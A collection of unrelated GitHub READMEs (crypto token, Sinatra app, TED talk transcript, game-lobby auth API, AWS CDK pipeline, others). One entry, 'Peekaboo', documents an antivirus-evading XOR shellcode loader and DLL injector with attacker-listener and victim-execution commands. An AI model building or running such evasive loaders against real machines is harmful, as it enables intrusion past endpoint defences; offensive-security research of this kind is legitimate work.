We wanted to show a little more in depth then the normal "MVC" todo demo.  This sample covers the four main areas

1) App
2) Models
3) Views
4) Controllers

In addition, you see how routing is handled/dispatched and views are updated

repository: zimzhang/mobile

repo_name: zimzhang/mobile


text:
# ERC-20 Extended

An ERC-20 token smart contract extended with mint, burn, pause, and access control

## Building
It can be built using [cargo-contract](https://github.com/paritytech/cargo-contract) with the following command:
```
cargo contract build
```

## Testing

Use cargo to test:
```
cargo test
```

license: Unlicense

repository: millicare/NFTYieldFarming-Substrate

repo_name: millicare/NFTYieldFarming-Substrate


text:
##  Character Tracker

##  About
Character tracker is a sinatra app that will help you create characters for role playing games.  You can create and update your character, view other characters, and delete your old characters.

##  Installation
Clone the repository, then execute:

$ bundle install

##  Usage
This app comes with a fresh database but you can add characters to the database easily by running:

$ rake db:migrate
$ rake db:seed

To start the server, run:

$ shotgun
Then navigate to localhost:9393

## Contributing

Bug reports and pull requests are welcome on GitHub at  https://github.com/JeffWHenderson/sinatra_app. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.

##  License
This Web Application is available as open source under the terms of the MIT License.

##  Further Development
In addition to front-end development, other features to be developed in the future will include:
  1. 'items' - a new class to track items, weapons, and money.
  3. 'Teams' - Get together with other characters to role play. Now you can keep better track of your friends on an adventure!
  2. 'Team Leader' - AKA a dungeon master. but Team Leader is a more flexible concept i guess.


text:
Have you ever talked with a friend
about a problem only to realize
that he just doesn't seem to grasp
why the issue is so important to you?
Have you ever presented an idea to
a group and it's met with utter confusion?
Or maybe you've been in an argument
when the other person suddenly accuses you
of not listening
to what they're saying at all?
What's going on here?
The answer is miscommunication,
and in some form or another,
we've all experienced it.
It can lead to confusion,
animosity,
misunderstanding,
or even crashing a multimillion
dollar probe into the surface of Mars.
The fact is even when face-to-face
with another person,
in the very same room,
and speaking the same language,
human communication is incredibly complex.
But the good news is
that a basic understanding
of what happens when we communicate
can help us prevent miscommunication.
For decades, researchers have asked,
"What happens when we communicate?"
One interpretation,
called the transmission model,
views communication as a message that
moves directly from one person to another,
similar to someone tossing a ball
and walking away.
But in reality,
this simplistic model doesn't account
for communication's complexity.
Enter the transactional model,
which acknowledges the many
added challenges of communicating.
With this model, it's more accurate
to think of communication between people
as a game of catch.
As we communicate our message,
we receive feedback from the other party.
Through the transaction,
we create meaning together.
But from this exchange,
further complications arise.
It's not like the Star Trek universe,
where some characters
can Vulcan mind meld,
fully sharing thoughts and feelings.
As humans, we can't help but send
and receive messages
through our own subjective lenses.
When communicating, one person expresses
her interpretation of a message,
and the person she's communicating with
hears his own interpretation
of that message.
Our perceptual filters continually shift
meanings and interpretations.
Remember that game of catch?
Imagine it with a lump of clay.
As each person touches it,
they shape it to fit
their own unique perceptions
based on any number of variables,
like knowledge or past experience,
age, race, gender,
ethnicity, religion, or family background.
Simultaneously, every person interprets
the message they receive
based on their relationship
with the other person,
and their unique understanding
of the semantics and connotations
of the exact words being used.
They could also be distracted
by other stimuli,
such as traffic
or a growling stomach.
Even emotion might cloud
their understanding,
and by adding more people
into a conversation,
each with their own subjectivities,
the complexity of communication
grows exponentially.
So as the lump of clay goes back and forth
from one person to another,
reworked, reshaped, and always changing,
it's no wonder our messages sometimes
turn into a mush of miscommunication.
But, luckily, there are some
simple practices
that can help us all navigate our daily
interactions for better communication.

One:
recognize that passive hearing
and active listening are not the same.
Engage actively with the verbal
and nonverbal feedback of others,
and adjust your message to faciliate
greater understanding.

Two:
listen with your eyes and ears,
as well as with your gut.
Remember that communication
is more than just words.

Three:
take time to understand as you try
to be understood.
In the rush to express ourselves,
it's easy to forget that communication
is a two-way street.
Be open to what
the other person might say.

And finally, four:
Be aware of your personal
perceptual filters.
Elements of your experience,
including your culture,
community, and family,
influence how you see the world.
Say, "This is how I see the problem,
but how do you see it?"
Don't assume that your perception
is the objective truth.
That'll help you work toward sharing
a dialogue with others
to reach a common understanding together.

repository: prewittdavon/TEDVis

repo_name: prewittdavon/TEDVis


text:
### `c.auth.get_token`
Given the correct email and password combination the server will send back a token that can be used to login as that user. This command must be performed over a secure connection, if it is attempted over an insecure connection the server will send back an error. If the password and email do not match a failure result is returned. Only email or name is required; if both then email will be used.

* email :: string
* name :: string
* password :: string

#### Successful response
* token :: string

#### Example input/output
```
{
  "cmd": "c.auth.get_token",
  "email"<EMAIL_ADDRESS>  "password": "*********"
}

{
  "cmd": "s.auth.get_token",
  "result": "success",
  "token": "long-string-of-digits-here"
}

{
  "cmd": "s.auth.get_token",
  "result": "failure",
  "reason": "reason for failure"
}
```

### `c.auth.login`
Performs user authentication via a token obtained from `c.auth.token`.
* token :: string
* lobby_name :: string
* lobby_version :: string

#### Successful response
* user :: User

#### Example input/output
```
{
  "cmd": "c.auth.login",
  "lobby_name": "Skylobby",
  "lobby_version": "1.3.2"
  "token": "long-string-of-digits-here"
}

{
  "cmd": "s.auth.login",
  "result": "success",
  "user": User
}

{
  "cmd": "s.auth.login",
  "result": "unverified",
  "agreement": "Multiline\nText\nBlob"
}

{
  "cmd": "s.auth.login",
  "result": "failure",
  "reason": "Invalid token"
}
```

### `c.auth.verify`
Confirms the accuracy of the user email address. Once successful the user will be marked as verified and the user logged in.
* token :: string
* verification_code :: string

#### Successful response
* user :: User

#### Example input/output
```
{
  "cmd": "c.auth.verify",
  "token": "long-string-of-digits-here",
  "code": "123456"
}

{
  "cmd": "s.auth.verify",
  "result": "success",
  "user": User
}

{
  "cmd": "s.auth.verify",
  "result": "failure",
  "reason": "bad code"
}
```

## `c.auth.disconnect`

#### Successful response
The connection will be terminated, there will be no response.

#### Example input/output
```
{
  "cmd": "c.auth.disconnect"
}

repository: rafidka/teiserver

repo_name: rafidka/teiserver


text:
  Völkin Conf

A fake Online Conference for a Fantasy Brand

  Key Features •
  How To Use •
  Download •
  Related •
  License

![screenshot](https://raw.githubusercontent.com/justkahdri/mockconference/hotfixes/src/assets/misc/preview.gif)

## Key Features

* LiveTranslation - Change language without reloading the page
    - Instantly see the content in the language you want.
* Scroll Spy
    - While you navigate, the navbar will automatically highlight the current location in the app.
* Designed using [Bootstrap](https://getbootstrap.com/)

#### Coming Soon

* Dark/Light mode
* Animated loader

## How To Use

To clone and run this application, you'll need [Git](https://git-scm.com) and [Node.js](https://nodejs.org/en/download/) (which comes with [npm](http://npmjs.com)) installed on your computer. From your command line:

```bash
# Clone this repository
$ git clone https://github.com/justkahdri/mockconference

# Go into the repository
$ cd mockconference

# Install dependencies
$ npm install

# Run the app
$ npm start
```

Note: If you're using Linux Bash for Windows, [see this guide](https://www.howtogeek.com/261575/how-to-run-graphical-linux-desktop-applications-from-windows-10s-bash-shell/) or use `node` from the command prompt.

## Download

You can [download](https://github.com/justkahdri/mockconference/releases/tag/v1.0) the latest installable version of Völkin Conf for Windows, macOS and Linux.

## Related

* [My Portfolio](https://www.notion.so/Joaqu-n-R-Montes-1f8cf3510fac4e2fafb81e6932cf04b6) - to see more of my projects.
* [i18Next](https://www.i18next.com/) - library for live translations.
* [Bootstrap](https://getbootstrap.com/) - framework.

## License

MIT

---

> [Portfolio](https://www.notion.so/Joaqu-n-R-Montes-1f8cf3510fac4e2fafb81e6932cf04b6)  ·
> GitHub [@justkahdri](https://github.com/justkahdri)  ·
> Twitter [@joacomontes5](https://twitter.com/JoacoMontes5)

repository: justkahdri/mockconference

repo_name: justkahdri/mockconference


text:
# Peekaboo

Simple undetectable shellcode and code injector launcher example. Inspired by RTO malware development course.

## Main logic

XOR encryption and decryption for functions call and main payload - `calc.exe` as example.

## Usage
## 1. DLL
### on attacker machine
run python script with flags:
```bash
python3 peekaboo.py -l <IP_ADDRESS> -p 4444
```

### then on victim machine (windows x64):
run on powershell or cmd promt:
```
rundll32 .\peekaboo.dll, TpLbDJOWUjUmGyuHWpKk
```

## 2.Injector
### on attacker machine:
run python script on linux:
```bash
python3 peekaboo-inj.py -l <IP_ADDRESS> -p 4444
```

compile in VS - windows machine x64:
```cmd
.\compile-inj.bat
```

### then on victim machine (windows x64):
```
.\peekaboo.exe
```

## Issues.
Tested on:
1. Attacker machines: Kali linux 2020.1, Windows 10 x64
2. Victim machine: Windows 10 x64
3. Payload: Calc.exe
4. AV Engines: Kaspersky, Windows Defender

## TODO
Compile injector in Kali linux

## Attention
This tool is a Proof of Concept and is for Educational Purposes Only!!! Author takes no responsibility of any damage you cause

## License
[MIT](https://choosealicense.com/licenses/mit/)

repository: q-a-z/peekaboo

repo_name: q-a-z/peekaboo


text:
---
identifier: MIR:00000517
name: Mathematical Modelling Ontology
description: The Mathematical Modelling Ontology (MAMO) is a classification of the types of mathematical models used mostly in the life sciences, their variables, relationships and other relevant features.
prefix: mamo
pattern: ^MAMO_\d{7}$
prefixed: 0
local_id: MAMO_0000026
synonyms:
 - MAMO
resources:
 - identifier: MIR:00100665
   accessurl: http://bioportal.bioontology.org/ontologies/MAMO/?p=classes&conceptid=http://identifiers.org/mamo/${lid}
   keyword: computational Neuroscience model
   description: MAMO through BioPortal
   homepage: http://bioportal.bioontology.org/ontologies/MAMO
   institution: National Center for Biomedical Ontology, Stanford
   location: USA
   official: false
   provider_code: bptl
 - identifier: MIR:00100758
   accessurl: http://www.ebi.ac.uk/ols/ontologies/mamo/terms?short_form=${lid}
   keyword: computational Neuroscience model
   description: MaMO through OLS
   homepage: http://www.ebi.ac.uk/ols/ontologies/mamo
   institution: European Bioinformatics Institute, Hinxton, Cambridge
   location: UK
   official: false
   provider_code: ols
---

repository: cmungall/registry

repo_name: cmungall/registry


text:
100% JavaScript charting library using the HTML5 Canvas.

## History

TeeChartJS comes from [TeeChart JavaScript/HTML5](https://www.steema.com/product/html5), a library initially written by [David Berneda](https://github.com/davidberneda) on 2012 and maintained by the team at [Steema Software](https://www.steema.com).
Steema Software opensourced the library on march 2018 but still offers [paid support subscriptions](https://www.steema.com/product/html5#pricing).

## [Live Demo](https://www.steema.com/files/public/teechart/html5/latest/demos/)
  Find [here](https://github.com/Steema/TeeChartJS/tree/master/demos) the demo sources

## Resources
* ### [Tutorials](https://github.com/Steema/TeeChartJS/wiki)
* ### [API Reference](https://www.steema.com/docs/TeeChartHTML5Reference.htm)
* ### [Issue Tracker](http://bugs.steema.com/buglist.cgi?product=HTML5%20JavaScript%20TeeChart&query_format=advanced&resolution=---)

repository: Steema/TeeChartJS

repo_name: Steema/TeeChartJS


text:
## ImageBuilder Pipeline using AWS CDK

This sample will create a EC2 Image builder pipeline using CDK and setup CI using code pipeline.

### Getting Started

- For setting up CDK follow instructions under "CDK Instructions".
- Create a CodeCommit repository and push the code repo to the newly created repository.
    - By default CodeCommit will create a branch named mainline, by default CI will be triggered on this branch.
    - If you choose to use a different branch (ex. dev), follow instructions below to pass it as a parameter for CI setup
        - Add a property in parameters.properties file
        ```
            codeRepoBranchName=dev
        ```
        - Pass the value as parameter to deployment stack in app.py
        ```
            param_branch_name = config['DEFAULT']['codeRepoBranchName']
            DeploymentPipeline(app,
                   "deploymentPipeline",
                   code_commit_repo=param_code_commit_repo,
                   default_branch=param_branch_name
                   env=deploy_environment)
        ```
- Update parameters.properties with appropriate values
    - componentBucketName - Bucket name where all components will be stored, this bucket will be created.
    - imagePipelineName - Name for image pipeline
    - awsRegion - AWS region in which this deployment will be done
    - baseImageArn - Ubuntu base image ARN to use ex. arn:aws:imagebuilder:us-west-2:aws:image/ubuntu-server-18-lts-x86/2020.8.10
    - codeCommitRepoName - Name of the newly created imagebuilder repo ex. mycdkubuntuimagebuilderrepo
    - Ensure parameter store values are set (refer buildspec for more details).
- Deploy deploymentpipeline stack once above step is complete to setup CI
    ```
    $ make cdk-deploy
    ```
- Once deployment of 'deploymentPipeline' stack is complete CI will deploy imagebuilder pipeline.
- Deploy imagebuilder stack from your developer workstation (use this if you skipped above steps or want to do local deployment)
    ```
    $ make build-deploy
    ```
- Imagebuilder stack can be triggered through cli using:
    ```
    $ aws imagebuilder start-image-pipeline-execution \
            --image-pipeline-arn arn:aws:imagebuilder:<<aws_region>>:<<account_number>>:image-pipeline/<<name_of_pipeline>>
    ```

### CDK Instructions

The `cdk.json` file tells the CDK Toolkit how to execute this app.

This project is set up like a standard Python project.  The initialization
process also creates a virtualenv within this project, stored under the .env
directory.  To create the virtualenv it assumes that there is a `python3`
(or `python` for Windows) executable in your path with access to the `venv`
package. If for any reason the automatic creation of the virtualenv fails,
you can create the virtualenv manually.

To manually create a virtualenv on MacOS and Linux:

```
$ python3 -m venv .env
```

After the init process completes and the virtualenv is created, you can use the following
step to activate your virtualenv.

```
$ source .env/bin/activate
```

If you are a Windows platform, you would activate the virtualenv like this:

```
% .env\Scripts\activate.bat
```

Once the virtualenv is activated, you can install the required dependencies.

```
$ pip install -r requirements.txt
```

At this point you can now synthesize the CloudFormation template for this code.

```
$ cdk synth (stackname - refer stack documentation to understand which one to use)
```

If you are using MAKEFILE you can synthesize the CloudFormation template for this code.

```
$ make cdk-synth
```

If you are using MAKEFILE you can initiate an imagebuilder pipeline deployment ***with auto approval***

```
$ make build-deploy
```

To add additional dependencies, for example other CDK libraries, just add
them to your `setup.py` file and rerun the `pip install -r requirements.txt`
command.

### Useful commands

 * `cdk ls`          list all stacks in the app
 * `cdk synth`       emits the synthesized CloudFormation template
 * `cdk deploy`      deploy this stack to your default AWS account/region
 * `cdk diff`        compare deployed stack with current state
 * `cdk docs`        open CDK documentation

## Security

See [CONTRIBUTING](CONTRIBUTING.md#security-issue-notifications) for more information.

## License

This library is licensed under the MIT-0 License. See the LICENSE file.

repository: jsmay/aws-cdk-imagebuilder-pipeline

repo_name: jsmay/aws-cdk-imagebuilder-pipeline